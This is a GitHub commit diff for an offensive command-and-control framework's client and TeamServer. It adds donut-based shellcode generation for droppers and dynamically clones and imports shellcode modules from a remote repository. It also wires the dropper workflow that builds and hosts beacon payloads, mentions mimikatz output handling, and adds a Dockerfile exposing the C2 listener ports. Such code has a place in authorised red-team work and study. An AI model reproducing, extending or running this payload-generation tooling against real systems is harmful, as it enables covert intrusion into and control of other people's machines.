Skip to content

Commit b37c452

Browse files
authored
Merge pull request #39 from maxDcb/develop
Develop
2 parents 7d2b0c8 + fceba24 commit b37c452

File tree

13 files changed

+1138
-250
lines changed

13 files changed

+1138
-250
lines changed

C2Client/C2Client/AssistantPanel.py

Lines changed: 823 additions & 226 deletions
Large diffs are not rendered by default.

C2Client/C2Client/ConsolePanel.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -439,7 +439,7 @@ def __init__(self, parent, grpcClient):
439439
self.tabs.setCurrentIndex(self.tabs.count()-1)
440440

441441
tab = QWidget()
442-
self.tabs.addTab(tab, "Assistant")
442+
self.tabs.addTab(tab, "Data AI")
443443
tab.layout = QVBoxLayout(self.tabs)
444444
self.assistant = Assistant(self, self.grpcClient)
445445
tab.layout.addWidget(self.assistant)
@@ -610,7 +610,7 @@ def displayResponse(self):
610610
responses = self.grpcClient.getResponseFromSession(session)
611611
for response in responses:
612612
context = "Host " + self.hostname + " - Username " + self.username
613-
self.consoleScriptSignal.emit("receive", "", "", context, response.cmd, response.response.decode('utf-8', 'replace'))
613+
self.consoleScriptSignal.emit("receive", self.beaconHash, self.listenerHash, context, response.cmd, response.response.decode('utf-8', 'replace'))
614614
self.setCursorEditorAtEnd()
615615
# check the response for mimikatz and not the cmd line ???
616616
if "-e mimikatz.exe" in response.cmd:

C2Client/C2Client/Scripts/listDirectory.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,14 @@
33

44
def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed):
55
output = "listDirectory:\n";
6-
output += "load ListDirectory && ls\n";
6+
output += "load ListDirectory\n";
77

88
commandLine = "loadModule ListDirectory"
99
command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine)
1010
result = grpcClient.sendCmdToSession(command)
1111

12-
commandLine = "ls"
13-
command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine)
14-
result = grpcClient.sendCmdToSession(command)
12+
# commandLine = "ls"
13+
# command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine)
14+
# result = grpcClient.sendCmdToSession(command)
1515

1616
return output
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
https://github.com/maxDcb/DreamWalkers.git
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
*
2+
!.gitignore

C2Client/C2Client/TerminalPanel.py

Lines changed: 202 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -74,11 +74,61 @@
7474
except ImportError as e:
7575
print(f"Failed to import {moduleName}: {e}")
7676

77-
7877
#
79-
# Terminal modules
78+
# ShellCode modules
8079
#
81-
# legacy path setup removed in favor of package imports
80+
81+
import donut
82+
83+
try:
84+
import pkg_resources
85+
shellCodeModulesDir = pkg_resources.resource_filename(
86+
'C2Client',
87+
'ShellCodeModules'
88+
)
89+
ShellCodeModulesPath = pkg_resources.resource_filename(
90+
'C2Client',
91+
'ShellCodeModules.conf'
92+
)
93+
94+
except ImportError:
95+
shellCodeModulesDir = os.path.join(os.path.dirname(__file__), 'ShellCodeModules')
96+
ShellCodeModulesPath = os.path.join(os.path.dirname(__file__), 'ShellCodeModules.conf')
97+
98+
if not os.path.exists(shellCodeModulesDir):
99+
os.makedirs(shellCodeModulesDir)
100+
101+
with open(ShellCodeModulesPath, "r") as file:
102+
repositories = file.readlines()
103+
104+
ShellCodeModules = []
105+
for repo in repositories:
106+
repo = repo.strip()
107+
repoName = repo.split('/')[-1].replace('.git', '')
108+
repoPath = os.path.join(shellCodeModulesDir, repoName)
109+
110+
if not os.path.exists(repoPath):
111+
print(f"Cloning {repoName} in {repoPath}.")
112+
try:
113+
Repo.clone_from(repo, repoPath)
114+
except Exception as e:
115+
print(f"Failed to clone {repoName}: {e}")
116+
else:
117+
print(f"Repository {repoName} already exists in {shellCodeModulesDir}.")
118+
119+
for moduleName in os.listdir(shellCodeModulesDir):
120+
modulePath = os.path.join(shellCodeModulesDir, moduleName)
121+
122+
if os.path.isdir(modulePath):
123+
if os.path.exists(modulePath):
124+
sys.path.insert(1, modulePath)
125+
try:
126+
# Dynamically import the module
127+
importedModule = __import__(moduleName)
128+
ShellCodeModules.append(importedModule)
129+
print(f"Successfully imported {moduleName}")
130+
except ImportError as e:
131+
print(f"Failed to import {moduleName}: {e}")
82132

83133

84134
#
@@ -137,6 +187,21 @@
137187
- Batcave Search rec"""
138188

139189
DropperInstruction = "Dropper"
190+
DropperConfigSubInstruction = "Config"
191+
DropperConfigShellcodeGeneratorDisplay = "ShellcodeGenerator"
192+
DropperConfigShellcodeGeneratorKey = DropperConfigShellcodeGeneratorDisplay.lower()
193+
ShellcodeGeneratorDonut = "Donut"
194+
DropperAvailableHeader = "- Available dropper:\n"
195+
DropperThreadRunningMessage = "Dropper thread already running"
196+
DropperConfigHeader = "- Dropper Config:"
197+
DropperConfigShellcodeGeneratorLine = f" {DropperConfigShellcodeGeneratorDisplay}: {{}}"
198+
DropperConfigShellcodeGeneratorAvailableLine = " Available: {}"
199+
DropperConfigUnknownOptionError = "Error: Unknown dropper config option."
200+
DropperConfigUnknownValueError = "Error: Unknown shellcode generator."
201+
DropperConfigUpdatedMessage = "Shellcode generator set to {}."
202+
DonutShellcodeGeneratorMessage = "Donut Shellcode generator"
203+
DonutShellcodeFileName = "loader.bin"
204+
ModuleShellcodeFileName = "finalShellcode.bin"
140205

141206
DropperModuleGetHelpFunction = "getHelpExploration"
142207
DropperModuleGeneratePayloadFunction = "generatePayloadsExploration"
@@ -178,7 +243,11 @@ def getHelpMsg():
178243
completerData = [
179244
(HelpInstruction,[]),
180245
(HostInstruction,[]),
181-
(DropperInstruction,[]),
246+
(DropperInstruction,[
247+
(DropperConfigSubInstruction, [
248+
(DropperConfigShellcodeGeneratorDisplay, [])
249+
])
250+
]),
182251
(BatcaveInstruction, [
183252
("Install", []),
184253
("BundleInstall", []),
@@ -212,6 +281,7 @@ def __init__(self, parent, grpcClient):
212281
self.layout.setContentsMargins(0, 0, 0, 0)
213282

214283
self.grpcClient = grpcClient
284+
self.dropperConfig = {DropperConfigShellcodeGeneratorKey: ShellcodeGeneratorDonut}
215285

216286
self.logFileName=LogFileName
217287

@@ -291,9 +361,10 @@ def runCommand(self):
291361
elif instructions[1].lower() == ReloadModulesInstruction.lower():
292362
self.printInTerminal(commandLine, ReloadModulesHelp)
293363
elif instructions[1].lower() == DropperInstruction.lower():
294-
availableModules = "- Available dropper:\n"
364+
availableModules = DropperAvailableHeader
295365
for module in DropperModules:
296366
availableModules += " " + module.__name__ + "\n"
367+
availableModules += "\n" + self._format_shellcode_generator_summary()
297368
self.printInTerminal(commandLine, availableModules)
298369
return
299370
elif instructions[1].lower() == SocksInstruction.lower():
@@ -554,18 +625,83 @@ def runHost(self, commandLine, instructions):
554625
self.printInTerminal(commandLine, result)
555626

556627

628+
def _handle_dropper_config(self, commandLine, instructions):
629+
if len(instructions) == 2:
630+
self.printInTerminal(commandLine, self._format_shellcode_generator_summary())
631+
return
632+
633+
configKey = instructions[2].lower()
634+
if configKey != DropperConfigShellcodeGeneratorKey:
635+
self.printInTerminal(commandLine, DropperConfigUnknownOptionError)
636+
return
637+
638+
if len(instructions) == 3:
639+
self.printInTerminal(commandLine, self._format_shellcode_generator_summary(include_header=False))
640+
return
641+
642+
requestedGenerator = instructions[3].lower()
643+
availableGenerators = self._get_available_shellcode_generators()
644+
645+
selectedGenerator = None
646+
for generator in availableGenerators:
647+
if generator.lower() == requestedGenerator:
648+
selectedGenerator = generator
649+
break
650+
651+
if not selectedGenerator:
652+
self.printInTerminal(commandLine, DropperConfigUnknownValueError)
653+
return
654+
655+
self.dropperConfig[DropperConfigShellcodeGeneratorKey] = selectedGenerator
656+
self.printInTerminal(commandLine, DropperConfigUpdatedMessage.format(selectedGenerator))
657+
658+
def _format_shellcode_generator_summary(self, include_header=True):
659+
currentGenerator = self.dropperConfig.get(
660+
DropperConfigShellcodeGeneratorKey,
661+
ShellcodeGeneratorDonut,
662+
)
663+
availableGenerators = ", ".join(self._get_available_shellcode_generators())
664+
665+
lines = []
666+
if include_header:
667+
lines.append(DropperConfigHeader)
668+
generatorLine = DropperConfigShellcodeGeneratorLine.format(currentGenerator)
669+
availableLine = DropperConfigShellcodeGeneratorAvailableLine.format(availableGenerators)
670+
else:
671+
generatorLine = DropperConfigShellcodeGeneratorLine.strip().format(currentGenerator)
672+
availableLine = DropperConfigShellcodeGeneratorAvailableLine.strip().format(availableGenerators)
673+
lines.append(generatorLine)
674+
lines.append(availableLine)
675+
return "\n".join(lines)
676+
677+
def _get_available_shellcode_generators(self):
678+
generators = [ShellcodeGeneratorDonut]
679+
for module in ShellCodeModules:
680+
moduleName = module.__name__
681+
if moduleName not in generators:
682+
generators.append(moduleName)
683+
return generators
684+
685+
557686
#
558-
# runDropper
687+
# runDropper
559688
#
560689
def runDropper(self, commandLine, instructions):
561690
if len(instructions) < 2:
562-
availableModules = "- Available dropper:\n"
691+
availableModules = DropperAvailableHeader
563692
for module in DropperModules:
564693
availableModules += " " + module.__name__ + "\n"
694+
availableModules += "\n" + self._format_shellcode_generator_summary()
565695
self.printInTerminal(commandLine, availableModules)
566696
return
567697

568-
moduleName = instructions[1].lower()
698+
subCommand = instructions[1].lower()
699+
700+
if subCommand == DropperConfigSubInstruction.lower():
701+
self._handle_dropper_config(commandLine, instructions)
702+
return
703+
704+
moduleName = subCommand
569705

570706
moduleFound = False
571707
for module in DropperModules:
@@ -585,10 +721,22 @@ def runDropper(self, commandLine, instructions):
585721
additionalArgss = " ".join(instructions[4:])
586722

587723
if self.dropperWorker:
588-
self.printInTerminal(commandLine, 'Dropper thread already running')
724+
self.printInTerminal(commandLine, DropperThreadRunningMessage)
589725
else:
590726
self.thread = QThread()
591-
self.dropperWorker = DropperWorker(self.grpcClient, commandLine, moduleName, listenerDownload, listenerBeacon, additionalArgss)
727+
shellcodeGenerator = self.dropperConfig.get(
728+
DropperConfigShellcodeGeneratorKey,
729+
ShellcodeGeneratorDonut,
730+
)
731+
self.dropperWorker = DropperWorker(
732+
self.grpcClient,
733+
commandLine,
734+
moduleName,
735+
listenerDownload,
736+
listenerBeacon,
737+
additionalArgss,
738+
shellcodeGenerator,
739+
)
592740
self.dropperWorker.moveToThread(self.thread)
593741
self.thread.started.connect(self.dropperWorker.run)
594742
self.dropperWorker.finished.connect(self.printDropperResult)
@@ -617,14 +765,24 @@ def setCursorEditorAtEnd(self):
617765
class DropperWorker(QObject):
618766
finished = pyqtSignal(str, str)
619767

620-
def __init__(self, grpcClient, commandLine, moduleName, listenerDownload, listenerBeacon, additionalArgs):
768+
def __init__(
769+
self,
770+
grpcClient,
771+
commandLine,
772+
moduleName,
773+
listenerDownload,
774+
listenerBeacon,
775+
additionalArgs,
776+
shellcodeGenerator,
777+
):
621778
super().__init__()
622779
self.grpcClient = grpcClient
623780
self.commandLine = commandLine
624781
self.moduleName = moduleName
625782
self.listenerDownload = listenerDownload
626783
self.listenerBeacon = listenerBeacon
627784
self.additionalArgs = additionalArgs
785+
self.shellcodeGenerator = shellcodeGenerator or ShellcodeGeneratorDonut
628786

629787
def run(self):
630788

@@ -718,9 +876,39 @@ def run(self):
718876
cmdToRun = ""
719877
for module in DropperModules:
720878
if self.moduleName == module.__name__.lower():
721-
logging.debug("GenerateAndHostGeneric Generate for module: %s", self.moduleName)
879+
logging.debug("GenerateAndHostGeneric DropperModule: %s", self.moduleName)
880+
881+
shellcodeGenerator = self.shellcodeGenerator
882+
shellcodeGeneratorLower = shellcodeGenerator.lower()
883+
rawshellcode = ""
884+
885+
# Check shellcode generator
886+
if shellcodeGeneratorLower == ShellcodeGeneratorDonut.lower():
887+
print(DonutShellcodeGeneratorMessage)
888+
shellcode = donut.create(
889+
file=beaconFilePath,
890+
params=beaconArg
891+
)
892+
beaconArg = ""
893+
beaconFilePath = ""
894+
rawshellcode = DonutShellcodeFileName
895+
896+
else:
897+
for ShellCodeModule in ShellCodeModules:
898+
logging.debug("ShellCodeModule: %s", ShellCodeModule)
899+
900+
if shellcodeGeneratorLower == ShellCodeModule.__name__.lower():
901+
logging.debug("GenerateAndHostGeneric ShellCodeModule: %s", ShellCodeModule.__name__)
902+
903+
genShellcode = getattr(ShellCodeModule, "buildLoaderShellcode")
904+
genShellcode(beaconFilePath, "", beaconArg, 3)
905+
906+
beaconArg = ""
907+
beaconFilePath = ""
908+
rawshellcode = ModuleShellcodeFileName
909+
722910
genPayload = getattr(module, DropperModuleGeneratePayloadFunction)
723-
droppersPath, shellcodesPath, cmdToRun = genPayload(beaconFilePath, beaconArg, "", urlDownload, self.additionalArgs.split(" "))
911+
droppersPath, shellcodesPath, cmdToRun = genPayload(beaconFilePath, beaconArg, rawshellcode, urlDownload, self.additionalArgs.split(" "))
724912

725913
# Upload the file and get the path
726914
for dropperPath in droppersPath:
@@ -813,7 +1001,7 @@ def historyDown(self):
8131001
self.setText(cmd.strip())
8141002

8151003
def setCmdHistory(self):
816-
cmdHistoryFile = open('.termHistory')
1004+
cmdHistoryFile = open(HistoryFileName)
8171005
self.cmdHistory = cmdHistoryFile.readlines()
8181006
self.idx=len(self.cmdHistory)-1
8191007
cmdHistoryFile.close()

C2Client/pyproject.toml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,8 @@ dependencies = [
1616
"requests==2.32.5",
1717
"pwn==1.0",
1818
"pefile==2024.8.26",
19-
"openai==1.102.0"
19+
"openai==1.102.0",
20+
"donut-shellcode"
2021
]
2122

2223
[project.optional-dependencies]

C2Client/requirements.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,3 +10,4 @@ pefile==2024.8.26
1010
openai==1.102.0
1111
pytest==8.4.1
1212
pytest-qt==4.5.0
13+
donut-shellcode

Dockerfile

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# syntax=docker/dockerfile:1
2+
FROM ubuntu:24.04
3+
4+
LABEL org.opencontainers.image.title="Exploration TeamServer"
5+
LABEL org.opencontainers.image.description="Container image for the Exploration C2 TeamServer."
6+
LABEL org.opencontainers.image.source="https://github.com/maxDcb/C2TeamServer"
7+
8+
ENV TEAMSERVER_HOME=/opt/teamserver
9+
WORKDIR ${TEAMSERVER_HOME}
10+
11+
RUN apt-get update \
12+
&& apt-get install -y --no-install-recommends \
13+
ca-certificates \
14+
libstdc++6 \
15+
&& rm -rf /var/lib/apt/lists/*
16+
17+
COPY Release/ ${TEAMSERVER_HOME}/Release/
18+
COPY docker/teamserver-entrypoint.sh /usr/local/bin/teamserver-entrypoint.sh
19+
20+
RUN chmod +x /usr/local/bin/teamserver-entrypoint.sh \
21+
&& if [ -f "${TEAMSERVER_HOME}/Release/TeamServer/TeamServer" ]; then \
22+
chmod +x "${TEAMSERVER_HOME}/Release/TeamServer/TeamServer"; \
23+
fi
24+
25+
VOLUME ["/opt/teamserver/Release"]
26+
27+
EXPOSE 50051 80 443 445
28+
29+
ENTRYPOINT ["/usr/local/bin/teamserver-entrypoint.sh"]

0 commit comments

Comments
 (0)